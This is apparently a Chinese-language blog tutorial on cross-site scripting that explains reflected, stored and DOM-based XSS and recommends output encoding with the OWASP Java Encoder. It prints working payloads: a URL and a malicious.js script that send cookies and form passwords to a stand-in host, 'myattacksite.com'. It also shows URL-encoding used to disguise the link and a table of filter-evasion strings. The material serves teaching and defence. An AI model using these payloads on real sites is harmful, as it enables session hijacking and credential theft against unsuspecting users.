XSS攻擊的深入探討與防護之道

XSS攻擊的深入探討與防護之道

XSS是網站攻擊排行榜第一名。主要原因不是因為大家不知道或是故意遺漏這樣的防護,

而是因為有太多種可能性可以執行 JavaScript,導致只要有一點機會,就讓駭客有機可趁。

這篇文章主要說明XSS(Cross-site scripting或是稱為JavaScript Injection)攻擊的種類、範例。

並且介紹幾種防護的方法與可以運用Open Source 的程式庫。

XSS學名

俗稱的JavaScript Injection

簡稱又稱為 XSS

學名又稱為 Cross-site Script Attack

中文聽說翻譯成 (跨站攻擊 )

儘管筆者認為跟跨不跨站沒有太大關係

 

三種XSS 攻擊方式

定義來說XSS根據攻擊預期的結果可以分為三種。

  • Reflected XSS
  • Stored XSS
  • DOM-Based XSS

Reflected XSS原理

為什麼叫做 Reflected XSS呢?

顧名思義就是網站會反應所輸入的 JavaScript。

因此,因為當駭客成功發現某個網站可以執行駭客預期的惡意程式碼時,

駭客就可以把受害 (被植入 JavaScript)網站的 URL透過釣魚的方式或是郵件傳送給被害人。

當被害人點擊該 URL時,就會看到且執行該 JavaScript。

Reflected XSS範例

舉例來說,讓我們看下列的 URL

www.mybank.com/changePassword?username= xxxx

如果更改密碼僅需要透過 Http Get 參數傳遞,也就是 URL 中的參數,那麼駭客有可能輸入下列方式達到 XSS

www.mybank.com/changePassword?username="><script>document.write('<img+src%3d"http%3a//myattacksite.com/collector%3fsession%3d'+%2b+document.cookie+%2b+'">')%3b</script><a+href%3d"

 

JavaScript 可以盜取帳號?

讓我們看下列這個例子。讀取網頁上的帳號密碼完之後,

將帳號密碼透過參數傳遞到駭客遠端的網站 http://myattacksite.com/collector.jsp?

所以我們把這個程式先存檔為 malicious.js

document.forms[0].onsubmit = function() {
var username = document.forms[0]["username"].value;
var password = document.forms[0]["password"].value;
var password1 = document.forms[0]["password1"].value;
var password2 = document.forms[0]["password2"].value;
var req = new XMLHttpRequest();
req.open("GET", 'http://myattacksite.com/collector.jsp?u='
+ username + '&p=' + password + '&p1=' + password1 +
'&p2=' + password2, false);
req.send();
};

但是問題來了,這樣的程式太明顯,一般人還是不一定會執行。因此要做一些隱藏。

比較常見隱藏的方式就是透過編碼 URL encoding。所以駭客要再加工兩件事情

 

1. 將上述 JavaScript “malicious.js” 放在遠端某受害者網站

2. 將含有執行malicious.js URL 編碼,讓使用者看不出執行malicious.js

3. 將整個編碼過後的 URL放到某公開的留言版或是社交網站,誘導使用者點擊。

URL Encoding

舉例來說,駭客組好下列的 URL,

http://localhost:8080/Demos/?username=“><script src=”http://myattacksite.com/js/malicious.js”></script><a href=”

這樣的 URL 太過明顯,因此需要編碼一下,可以透過這個服務編碼  http://meyerweb.com/eric/tools/dencoder/

http://localhost:8080/Demos/?username=%22%3E%3Cscript+src%3d%22http://myattacksite.com/js/malicious.js%22%3E%3C/script%3E%3Ca+href%3d%22

編碼完後,是不是比較看不出來呢?

之後,駭客再將這段 URL 貼在訪客留言版或是透過社交工程的方式寄給受害者,讓受害者點擊。

 

Stored XSS

Stored XSS 就是讓 JavaScript 可以儲存在網站資料庫中。

最常見的例子就是網站留言板或是訊息。由於留言版可以留的訊息格是不居。

因此,駭客就可以把程式碼放在留言板中,等待下一個瀏覽該留言板的受害者。

DOM-Based XSS

DOM-XX 跟前兩者最大的不同在於 DOM-Based 的攻擊要防護必須做在用戶端。

Reflected 與 Stored XX 則是在伺服器端做防護與驗證。

容易遭受到 DOM攻擊的有:

  • document.url
  • document.cookie
  • window.location.search
  • history.replaceState

在了解這些 XSS的攻擊之後,但是我們要如何防範呢?

XSS攻擊的類型彙整

Name 特徵 範例
XSS Locator 透過字串 <SCRIPT>alert(String.fromChar-
Code(88,83,83))</SCRIPT>
XSS Locator 2 透過字串 ‘’;!–”<XSS>=&{()}
Image XSS 透過 Img <IMG SRC=”javascript:alert(‘XSS’);”>
No quotes 測試瀏覽器對於 quotes 的處理 <IMG SRC=javascript:alert(‘XSS’)>
HTML entities 使用 &quot; <IMG SRC=javascript:alert(&quot;XSS
&quot;)>
Grave Accent 用其他字元來逃避防火牆檢查 <IMG SRC=`javascript:alert(“RSnake
says, ‘XSS’”)`>
fromCharCode 透過這個方式可以避免過濾檢查 < or ‘ 的特定字元 <IMG SRC=javascript:alert(String.
fromCharCode(88,83,83))>
UTF-8 Unicode
encoding
使用 unicode <IMG SRC=&#106;&#97;&#118;&#97;&#115
;&#99;&#114;&#105;&#112;&#116;&#58;&
#97;&#108;&#101;&#114;&#116;&#40;&#3
9;&#88;&#83;&#83;&#39;&#41;>
Long UTF-8 encoding 使用padding 與沒有 ; 的方式逃避防火牆的檢查 <IMG SRC=&#0000106&#0000097&#000011
8&#0000097&#0000115&#0000099&#00001
14&#0000105&#0000112&#0000116&#0000
058&#0000097&#0000108&#0000101&#000
0114&#0000116&#0000040&#0000039&#00
00088&#0000083&#0000083&#0000039&#0
000041>
Hex encoding 逃避防火牆的檢查 <IMG SRC=&#x6A
Embedd tabs 使用 tabs的輸入 <IMG SRC=”jav
ascript:alert(‘XSS’);”>
Malformed US
ASCCI
使用ASCII 7bits 的編碼方式 ¼script¾alert(¢XSS¢)¼/script¾
Portion-specific XSS 使用特定的 tag DIV, IMG, META, IFRAME, TD, TABLE,
STYLE, BASE, COMMENT, OBJECT, EMBED,
xml namespace, etc.

 

輸入的驗證

首先是對於輸入資料做基本的驗證。輸入的驗證只能治標無法治本。

舉例來說,如果使用黑名單的方式將輸入的資料去除 “<script>

那麼駭客如果輸入 <scr<script>ipt>,去除之後還是會對於 <script>輸入造成 XSS

另外,駭客也可以另用 <img src>不一定需要 <script> 才可以執行 XSS

<img src=”http://somesite.com/whatever.jpg” onLoad=”alert(1)”/>

XSS根本防護之道 – 輸出Encoding

 

只有做到輸入的驗證檢查是不夠的,必須要在輸出時做 encoding。

因為這樣才可以讓 JavaScript在最後瀏覽器瀏覽時不被任意執行。

資料輸出時候的 Encoding! 一般的編碼規則如下:

 & --> &amp;
 < --> &lt;
 > --> &gt;
 " --> &quot;
 ' --> &#x27;     
 / --> &#x2F;

舉例來說,駭客輸入下列字串當作使用者名稱

John<script>alert(“This is XSS“);</script>

編碼之後就會變成

John&lt;script&gt;alert(&quot;This is XSS&quot;);&lt;/script&gt;

當然這還容易,難的是會遺漏的地方讓駭客有機可趁。

哪些需要 Encoding呢?

  • URL encoding
  • JavaScript hex encoding
  • CSS hex encoding
  • HTML entity

舉例來說,下列都有可能成為 XSS的對象。

  • HTML context: <p>Hacking Data here</p>
  • Attribute context: <input value=”Hacking Data here“/>
  • JavaScript block context: <script>var data=”Hacking Data here“;</script>
  • JavaScript attribute context: <a onclick=”alert(‘Hacking Data here‘);”/>

Java Encoding 程式庫

https://www.owasp.org/index.php/OWASP_Java_Encoder_Project

XSS 雖然大家都知道但是因為下列原因造成駭客一直有機可趁。

  • 可以輸入XSS的可能性很多,例如透過HTML屬性
  • 透過 HTML資料或是內容
  • 透過JavaScript的alert訊息內容
  • 透過JavaScript 程式
  • 黑名單的方式無法有效完全阻擋,例如 <Sc<Script>ript>
  • XML的資料也有可能被植入 XSS
  • CSS屬性也會有 XSS
  • URL也是最容易被遺漏的部分,更是駭客可以用來 XSS攻擊的

因此,有沒有library 可以比較有效的處理這些呢?

如果是使用 Java 筆者建議這個 Encoding 的 JAR。

該 Encoder  提供完整的 encoding 機制而且也考量效能。

我們需要的Encoder主要符合下列需求:

  • 1. 只會 encode 並要的字元。其它字元不會。兼顧效能上的處理。
  • 2. 會協助移除非法字元
  • 3.編碼的方式兼顧相容性

如何使用 Java Encoder ?

  • <body><b><%= Encode.forHtml(textValue) %>” /></b></body>
  • <input type=”text” name=”address” value=”<%= Encode.forHtmlAttribute(addressData) %>” />
  • Encode.forHtmlContent(textAreaContent)
  • <script type=”text/javascript”> var msg = “<%= Encode.forJavaScriptBlock(message) %>”; alert(msg); </script>
  • <button onclick=”alert(‘<%= Encode.forJavaScriptAttribute(alertMsg) %>’);”>click me</button>

針對HTML encoding的部分

  • Encode.forHTML(String)
  • Encode.forHtmlAttribute(String)
  • Encode.forHtmlContent(String)
  • Encode.forHtmlUnquotedAttribute(String)

針對JavaScript encoding 的部分

  • Encode.forJavaScript(String)
  • Encode.forJavaScriptAttribute(String)
  • Encode.forJavaScriptBlock(String)
  • Encode.forJavaScriptSource(String)

如果不確定哪些時機使用哪一個,至少可以使用

  • Encode.forHTML(String)
  • Encode.forJavaScript(String)

XML的部分

  • Encode.forXml(String)
    Encode.forXmlContent(String)
    Encode.forXmlAttribute(String)
    Encode.forXmlComment(String)
    Encode.forCDATA(String)

CSS Encoding

  • Encode.forCssString(String)
    Encode.forCssUrl(String)

URL Encoding

  • <a href=”/search?value=<%=Encode.forUriComponent(parameterValue)%>&order=1#top”>
  • <a href=”<%= Encode.forHtmlAttribute(url) %>”>

小結

從這篇文章的說明,我們了解

  • 1. 為什麼 XSS 一直是駭客的最愛? 因為可以植入 XSS的地方太多,HTML, JavaScript, CSS, XML, URL等。
  • 2. 為什麼防護很難做到滴水不漏? 因為黑名單或是輸入驗證都不是有效的方法。需要做輸出的 Encoding。
  • 3. XSS 可以盜取帳號密碼?  可以讓使用者點擊 URL執行? 可以盜取 Cookie 值 ? 答案都是肯定。

知道XSS 的攻擊這麼廣泛後,防護之道不僅僅靠輸入驗證或是黑名單,還需要針對輸出做 Encoding。

輸出 Encoding 的範圍包含 URL, HTML, CSS, XML, JavaScript等。漏掉一個,駭客還是有機可趁的。

這就為什麼 XSS 一直以來都是駭客攻擊首選的原因。

 

Leave a Reply

Your email address will not be published.